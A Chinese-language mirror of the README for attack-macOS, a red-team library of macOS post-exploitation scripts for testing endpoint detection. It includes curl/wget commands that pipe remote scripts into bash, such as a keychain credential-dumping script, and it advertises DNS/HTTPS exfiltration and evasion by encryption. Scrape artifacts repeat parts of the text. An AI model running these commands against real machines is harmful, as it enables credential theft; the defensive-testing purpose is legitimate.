darmado/attack-macOS
GitHub: darmado/attack-macOS
基于 MITRE ATT&CK 框架和 LOOBins 的 macOS 后渗透脚本库,帮助安全团队评估和验证端点检测与响应能力。
Stars: 12 | Forks: 1



[](https://attack.mitre.org/)


[](https://x.com/attackmacos)
-grey?style=for-the-badge)  -grey?style=for-the-badge) 
核心功能 • 快速开始 • 集成
Attack-macOS 提供了一系列脚本,供安全团队评估 macOS 端点检测与响应能力。本项目通过独立脚本执行 [Living Off The Orchard (LOLBins)](https://www.loobins.io/) 技术,内置编码、加密、格式化、日志记录功能,并支持通过 DNS 和 HTTPS 进行数据窃取。 ##
🔍Analyze Events") C2 --> D C3 --> D C4 --> D D --> D1("🎯 Identify EndpointDetection Gaps") style A1 fill:transparent,stroke:#6140E0,stroke-width:2px style A2 fill:transparent,stroke:#C7B300,stroke-width:2px style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff ``` ##
## 快速入门
### 使用 attackmacos.sh 处理器
```
# 1. Clone 仓库
git clone https://github.com/darmado/attack-macOS.git
cd attack-macOS
# 2. 使用 handler 进行本地执行
./attackmacos/attackmacos.sh --method local --tactic discovery --ttp browser_history --args='-s'
# 3. 使用 handler 进行远程执行
./attackmacos/attackmacos.sh --method curl --tactic credential_access --ttp keychain --args='--verbose --encode base64'
# 4. 列出某个 tactic 的可用 TTP
./attackmacos/attackmacos.sh --list-local --tactic discovery
./attackmacos/attackmacos.sh --list-remote --tactic credential_access
# 5. 显示 banner 和帮助
./attackmacos/attackmacos.sh --banner --help
```
### 处理器依赖项
`./attackmacos/attackmacos.sh` 处理器脚本需要:
* 一个兼容 POSIX 的 shell(例如 bash、zsh、sh)。
* `curl` 或 `wget`,用于远程脚本执行(分别在使用 `--method curl` 或 `--method wget` 时)。
* 如果使用 `--method osascript`,则需要 `osascript`(这是 macOS 的标准组件)。
### Caldera 集成
```
# 1. Build 并同步 Caldera plugin
python cicd/build/procedure_shell.py --sync-caldera
# 2. 复制 plugin 到 Caldera
cp -r integrations/caldera/plugins/attackmacos /path/to/caldera/plugins/
# 3. 重启 Caldera server
# Caldera operations 随后将包含 plugin abilities。
# 4. 在 Caldera 中与 facts 一起使用
# 设置 fact: user.arg = "--safari --chrome --search malware"
# 执行 ability: browser_history
```
**Caldera 文档:** [Caldera 插件指南](integrations/caldera/plugins/attackmacos/docs/)
### 本地执行(直接)
```
# 1. Clone 仓库
git clone https://github.com/darmado/attack-macOS.git
cd attack-macOS
# 2. 直接运行 technique
./ttp/discovery/shell/system_info.sh
# 3. 使用自定义 parameters 运行
./ttp/credential_access/shell/keychains.sh --verbose --log-output --encode base64
# 4. 从 YAML 构建 procedure(从 repo 根目录)
python3 cicd/build/procedure_shell.py attackmacos/core/config/system_info.yml
```
### 远程执行(直接)
```
# 1. 直接从 GitHub 执行,无需 clone
curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/system_info.sh | bash
# 2. 下载并使用 parameters 执行
curl -s https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/credential_access/shell/keychains.sh | bash -s -- --verbose --log-output --encode base64
# 3. 使用 wget 执行特定 technique
wget -qO- https://raw.githubusercontent.com/darmado/attack-macOS/main/ttp/discovery/shell/browser_history.sh | bash
```
## 集成
### 第三方集成文档与安全性
- **[集成索引](docs/Integrations/README.md)** — GitHub (`gh`)、Caldera 以及未来的供应商对接。
- **[第三方安全基线](docs/Integrations/third_party_security.md)** — 通用最低标准;指向各集成特定页面的链接(例如 [GitHub](docs/Integrations/github_repo_interaction.md))。
### 内置程序、上游与维护者脚本
[内置程序:上游源与维护者脚本](docs/Shipped_procedures_upstream_sources_and_maintainer_scripts.md)
### 编码规范
[编码和文档标准](docs/Standards/README.md)
### Caldera 插件
**代码库:** [https://github.com/darmado/caldera-plugin-attack-macos](https://github.com/darmado/caldera-plugin-attack-macos)
原生 Caldera 插件,可与红队操作无缝集成。该插件使用完整的命令方法,将 attack-macOS YAML 配置转换为可随时执行的能力。
##
### 许可证
Apache License 2.0。[LICENSE](LICENSE)
##-grey?style=for-the-badge)  -grey?style=for-the-badge) 
核心功能 • 快速开始 • 集成
Attack-macOS 提供了一系列脚本,供安全团队评估 macOS 端点检测与响应能力。本项目通过独立脚本执行 [Living Off The Orchard (LOLBins)](https://www.loobins.io/) 技术,内置编码、加密、格式化、日志记录功能,并支持通过 DNS 和 HTTPS 进行数据窃取。 ##
### 面临的挑战
```
flowchart TD
A1("🚫 Limited OSS testing tools")
A2("⚡ Existing tools are tier II/III (advanced C2s)")
A3("🛡️ Commercial tools focus on hardening and MDM")
style A1 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A2 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A3 stroke:#ff6b35,stroke-width:2px,fill:transparent
```
```
flowchart TD
A4("📊 Limited technique and procedure coverage")
A5("❓ Known risks are not common knowledge")
A6("🔧 Hard to operationalize test pipelines")
style A4 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A5 stroke:#ff6b35,stroke-width:2px,fill:transparent
style A6 stroke:#ff6b35,stroke-width:2px,fill:transparent
```
##
### 解决方案
```
flowchart TD
A1("✓ Build a library of attack scripts that help security teams evaluate and improve macOS endpoint detection and response capabilities.")
style A1 stroke:#90EE90,stroke-width:2px,fill:transparent
```
### 核心功能
| 功能 | 描述 | 优势 |
|:--------|:------------|:--------|
| **构建工具** | YAML 模板、模式以及用于生成带有内置参数解析/验证功能新脚本的构建工具。[Parse Args](wiki/R&D%20Library/Functions/Shell/Parse%20Args.md) | 通过自动验证减少脚本开发时间和错误。 |
| **模块化设计** | 独立脚本可单独使用,或轻松集成到安全测试框架中。 | 无需复杂的工具链即可快速部署。 |
| **标准化帮助** | 所有脚本均包含用于独立执行或基于处理程序执行的 `--help` 菜单。 | 通过减少查阅文档的时间来加快执行速度。 |
| **macOS 原生** | TTPs 主要通过 shell 脚本使用原生的 macOS 命令行二进制文件和 API (LOObins)。部分 TTPs 使用 `osascript`(用于 JXA/AppleScript)、`python3` 或 `swift` 执行特定任务或作为包装器。`attackmacos.sh` 处理程序的依赖项极少。 | 通过利用系统实用程序和脚本语言,生成真实的 macOS 遥测数据。 |
| **映射 MITRE ATT&CK** | 脚本和参数直接映射到 MITRE ATT&CK 框架。 | 有助于合规性报告和威胁模型对齐。 |
| **日志记录** | 具备 JSON/CSV 输出格式的 Syslog 日志记录。[Log Output](wiki/R&D%20Library/Functions/Shell/Log%20Output.md) | 自动化证据收集;加速测试后分析。 |
| **编码和加密** | 提供多种数据编码(Base64、Hex、Perl)和加密(AES、GPG、XOR)选项。[Encode Output](wiki/R&D%20Library/Functions/Shell/Encode%20Output.md) • [Encrypt Output](wiki/R&D%20Library/Functions/Shell/Encrypt%20Output.md) | 模拟规避技术以提高测试的真实性。 |
| **数据窃取** | 模拟通过 HTTP/S 和 DNS 进行的数据窃取。[Exfiltrate Data](wiki/R&D%20Library/Functions/Shell/Exfiltrate%20Data.md) | 测试攻击链以发现数据防泄露的盲点。 |
| **兼容 CI/CD 流水线** | 可与安全工具、自动化流水线和 CI/CD 工作流集成。 | 以较少的手动工作量支持持续安全测试。 |
| **Caldera 集成** | 原生 Caldera 插件,用于集成红队行动。[Caldera Plugin](integrations/caldera/plugins/attackmacos/) | 简化了红队的 Caldera 部署和执行。 |
| **YAML 优先配置** | 每种技术均在 YAML 中定义,包含完整的元数据、参数和 MITRE ATT&CK 映射 | 自动化能力生成和一致的部署 |
| **模块化设计** | 独立运行的脚本可单独使用或组合使用,并能与现有的安全测试框架集成 | 无需复杂的工具链或基础设施变更即可快速部署 |
| **标准化帮助** | 所有脚本均包含 `--help` 菜单,可通过自定义部署框架独立执行 | 无需查阅文档即可执行 |
| **macOS 原生** | 无需外部依赖,使用原生工具和解释器。参见 [LOLBins](https://www.loobins.io/) | 生成归因于威胁行为者的 macOS 遥测数据 |
| **映射 MITRE ATT&CK** | 所有脚本和参数均映射到带有正确技术 ID 和名称的 MITRE ATT&CK 框架 | 合规性报告和威胁模型对齐 |
| **多种输出格式** | 用于分析和集成的 JSON、CSV 输出格式 | 证据收集和测试后分析 |
| **编码和加密** | 多种数据编码选项和加密功能,包括 AES-256-CBC、GPG 和 XOR | 使用规避技术增加测试真实性 |
| **数据窃取** | 通过 HTTP/S 或 DNS 协议进行数据窃取 | 测试完整的攻击链并识别数据防泄露中的检测盲点 |
| **兼容 CI/CD 流水线** | 与现有的安全工具、自动化流水线和 CI/CD 工作流集成 | 无需人工干预的持续安全测试 |
##
# 执行工作流
```
flowchart TD
A( 1: Choose your procedure script) --> A1("🐚 Shell Scripts")
A --> A2("🟡 JXA Scripts")
A --> A3("🐍 Python Scripts")
A --> A4("🦉 Swift Scripts")
A1 --> B( 2: Choose Delivery Method)
A2 --> B
A3 --> B
A4 --> B
B --> B1("🏠 Local ")
B --> B2("☁️ Remote from GGHcurlwget>osascript ")
B1 --> C(3: ExecuteT1634: Dump Keys)
B2 --> C
C --> C1("📋 Format")
C --> C2("🔧 Encode")
C --> C3("🔐 Encrypt")
C --> C4("📡 Exfiltrate")
C1 --> D("📋 Log and🔍Analyze Events") C2 --> D C3 --> D C4 --> D D --> D1("🎯 Identify EndpointDetection Gaps") style A1 fill:transparent,stroke:#6140E0,stroke-width:2px style A2 fill:transparent,stroke:#C7B300,stroke-width:2px style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff ``` ##
# **MacOS ATT&CK 覆盖矩阵**
| 初始访问 | 执行 | 持久化 | 权限提升 | 防御规避 | 凭证访问 | 发现 | 横向移动 | 收集 | 命令与控制 | 数据窃取 | 影响 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 外部远程服务 | 共享模块 | Socket Filters | 启动或登录初始化脚本 | Socket Filters | 中间人攻击 | 系统所有者/用户发现 | VNC | 通过实用程序归档 | Socket Filters | 通过 Web 服务窃取 | 磁盘结构擦除 |
| 破坏软件依赖和开发工具 | JavaScript | 启动或登录初始化脚本 | 通过 PATH 环境变量进行路径拦截 | 嵌入式 Payload | 可插拔认证模块 | 互联网连接发现 | 污染共享内容 | 屏幕截图 | 标准编码 | 通过 Webhook 窃取 | 直接网络洪水攻击> |
| 钓鱼链接 | 恶意文件 | 可插拔认证模块 | 创建或修改系统进程 | 可插拔认证模块 | 键盘记录 | 权限组发现 | SSH | 中间人攻击 | 域生成算法 | 定时传输 | 外部污损 |
| 钓鱼附件 | Cron | 通过 PATH 环境变量进行路径拦截 | LC_LOAD_DYLIB 注入 | 文件/路径排除项 | 密码猜测 | 设备驱动发现 | SSH 劫持 | 键盘记录 | DNS | 通过其他网络介质窃取 | 操作系统耗尽型洪水攻击 |
| 破坏硬件供应链 | 计划任务/作业 | 创建或修改系统进程 | Sudo 和 Sudo 缓存 | Linux 和 Mac 文件及目录权限修改 | 操作系统凭证转储 | 域账户 | 远程服务 | 音频捕获 | 对称加密 | 通过蓝牙窃取 | 应用耗尽型洪水攻击 |
| 供应链破坏 | AppleScript | 外部远程服务 | 启动或登录自启动执行 | 通过 PATH 环境变量进行路径拦截 | 窃取 Web 会话 Cookie | ](https://img.shields.io/badge/T1087.001-lightgrey?style=for-the-badge&label=%2012%20&labelColor=3bc05a&color=494949)本地账户 | 远程服务会话劫持 | 通过自定义方法归档 | 快速 Flux DNS | 自动窃取 | 磁盘擦除 |
| 利用面向公众的应用 | 原生 API | LC_LOAD_DYLIB 注入 | Cron | 电子邮件隐藏规则 | Securityd 内存 | 系统检查 | 软件部署工具 | 电子邮件收集 | 应用层协议 | 通过对称加密非 C2 协议窃取 | 存储数据操纵 |
| 内容注入 | 命令和脚本解释器 | 启动或登录自启动执行 | 计划任务/作业 | 加密/编码文件 | 密码破解 | 域组 | 利用远程服务 | 来自可移动介质的数据 | 远程访问软件 | 窃取至代码仓库 | 服务停止 |
| 默认账户 | Launchctl | Cron | 登录钩子 | Rootkit | ](https://img.shields.io/badge/T1555.001-lightgrey?style=for-the-badge&label=%209%20&labelColor=3bc05a&color=494949)Keychain | 系统服务发现 | 内部钓鱼 | 本地数据暂存 | 内容注入 | 通过非对称加密非 C2 协议窃取 | 应用或系统漏洞利用 |
| 信任关系 | XPC 服务 | 计划任务/作业 | 进程注入 | Sudo 和 Sudo 缓存 | 密码管理器 | 网络嗅探 | 横向工具转移 | 自动收集 | 流量信令 | ](https://img.shields.io/badge/T1041-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)通过 C2 通道窃取 | 运行时数据操纵 |
| 网络钓鱼 | 用户执行 | 浏览器扩展 | Launch Daemon | 匹配合法名称或位置 | 网络嗅探 | 网络共享发现 | | 剪贴板数据 | 协议隧道 | 通过替代协议窃取 | 反射放大攻击 |
| ](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)有效账户 | 软件部署工具 | 登录钩子 | 默认账户 | 伪装文件类型 | 窃取或伪造 Kerberos 票据 | 外围设备发现 | | 远程数据暂存 | 邮件协议 | 通过 USB 窃取 | 服务耗尽型洪水攻击 |
| 语音钓鱼 | Unix Shell | 流量信令 | Trap | 隐藏痕迹 | 来自密码存储的凭证 | 系统信息发现 | | 来自本地系统的数据 | 通过可移动介质通信 | 窃取至文本存储网站 | 污损 |
| 破坏软件供应链 | 进程间通信 | Launch Daemon | 动态链接器劫持 | 系统检查 | 不安全的凭证 | Wi-Fi 发现 | | 通过库归档 | 外部代理 | 窃取至云存储 | 金融盗窃 |
| 域账户 | 利用客户端执行 | Web Shell | 滥用提权控制机制 | 清除 Linux 或 Mac 系统日志 | 来自 Web 览器的凭证 | 应用窗口发现 | | 归档收集的数据 | 代理 | 数据传输大小限制 | 内部污损 |
| 硬件添加 | ](https://img.shields.io/badge/T1059.006-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)Python | 默认账户 | Setuid 和 Setgid | 精简 Payload | DHCP 欺骗 | 基于时间的规避 | | DHCP 欺骗 | 动态解析 | 通过物理介质窃取 | 数据操纵 |
| 被动利用 | 系统服务 | Trap | SSH 授权密钥 | 绕过 Gatekeeper | 私钥 | ](https://img.shields.io/badge/T1217-lightgrey?style=for-the-badge&label=%204%20&labelColor=3bc05a&color=494949)浏览器信息发现 | | Web 门户捕获 | Web 服务 | 通过未加密非 C2 协议窃取 | 账户访问权限移除 |
| 通过服务钓鱼 | Visual Basic | 动态链接器劫持 | 登录项 | 代码签名 | 密码喷洒 | 系统网络配置发现 | | 视频捕获 | DNS 计算 | | 影响型数据加密 |
| 本地账户 | 恶意链接 | 本地账户 | Emond | 破坏进程树 | Web 门户捕获 | 账户发现 | | 电子邮件转发规则 | 多阶段通道 | | 终端拒绝服务 |
| | At | 账户操纵 | 清除网络连接历史和配置 | 窃取或伪造认证证书 | 文件和目录发现 | | 数据暂存 | 端口敲门 | | 资源劫持 |
| | | 域账户 | 内核模块和扩展 | 清除命令历史 | Bash History | 系统网络连接发现 | | GUI 输入捕获 | 文件传输协议 | | 传输数据操纵 |
| | | 组件固件 | 劫持执行流 | ](https://img.shields.io/badge/T1140-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)反混淆/解码文件或信息 | 文件中的凭证 | 虚拟化/沙箱规避 | | 来自网络共享驱动器的数据 | 单向通信 | | 数据破坏 |
| | | 预启动 | ](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)有效账户 | 操作系统启动前 | | | | | | | |
| | | | | 降级攻击 | | | | | | | |
| | | | | 虚拟化/沙箱逃逸 | | | | | | | |
| | | | | 执行围栏 | | | | | | | |
| | | | | 端口试探 | | | | | | | |
| | | | | 隐藏用户 | | | | | | | |
| | | | | 破坏命令历史记录 | | | | | | | |
| | | | | 基于用户活动的检查 | | | | | | | |
| | | | | 禁用或修改工具 | | | | | | | |
| | | | | 劫持执行流程 | | | | | | | |
| | | | | 从工具中移除指标 | | | | | | | |
| | | | | ](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)有效账户 | | | | | | | |
| | | | | 资源分叉 | | | | | | | |
| | | | | ](https://img.shields.io/badge/T1027-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)混淆文件或信息 | | | | | | |
| | | | | 多因素身份验证 | | | | | | | |
| | | | | 无效的代码签名 | | | | | | | |
| | | | | 运行虚拟实例 | | | | | | | |
| | | | | 破坏信任控制 | | | | | | | |
| | | | | 通过提示提权执行 | | | | | | | |
| | | | | 重命名系统实用程序 | | | | | | | |
| | | | | 伪造安全警报 | | | | | | | |
| | | | | ](https://img.shields.io/badge/T1027.003-lightgrey?style=for-the-badge&label=%201%20&labelColor=3bc05a&color=494949)隐写术 | | | | | | | |
| | | | | 域账户 | | | | | | | |
| | | | | 安装根证书 | | | | | | | |
| | | | | 投递后编译 | | | | | | | |
| | | | | VBA 清除 | | | | | | | |
| | | | | 冒充 | | | | | | | |
| | | | | 隐藏窗口 | | | | | | | |
| | | | | 清除持久化 | | | | | | | |
| | | | | HTML 走私 | | | | | | | |
| | | | | 命令混淆 | | | | | | | |
| | | | | 文件删除 | | | | | | | |
| | | | | 软件加壳 | | | | | | | |
| | | | | 隐藏文件系统 | | | | | | | |
| | | | | 调试器逃逸 | | | | | | | |
| | | | | 文件名后加空格 | | | | | | | |
| | | | | TCC 操控 | | | | | | | |
| | | | | 隐藏文件和目录 | | | | | | | |
| | | | | 环境密钥 | | | | | | | |
| | | | | 修改身份验证过程 | | | | | | | |
| | | | | Dylib 劫持 | | | | | | | |
| | | | | 本地账户 | | | | | | | |
| | | | | 利用漏洞进行防御规避 | | | | | | | |
标签:Cutter, DNS 反向解析, DNS外发, EDR测试, HTTPS外发, IP 地址批量处理, JXA, LOLBins, LOObins, Shell, Swift, 加解密, 安全测试, 攻击性安全, 攻击模拟, 数据展示, 数据渗透, 端点检测与响应评估, 紫队, 红队, 编码, 网络威胁情报, 网络安全, 脚本库, 逆向工具, 隐私保护, 驱动签名利用
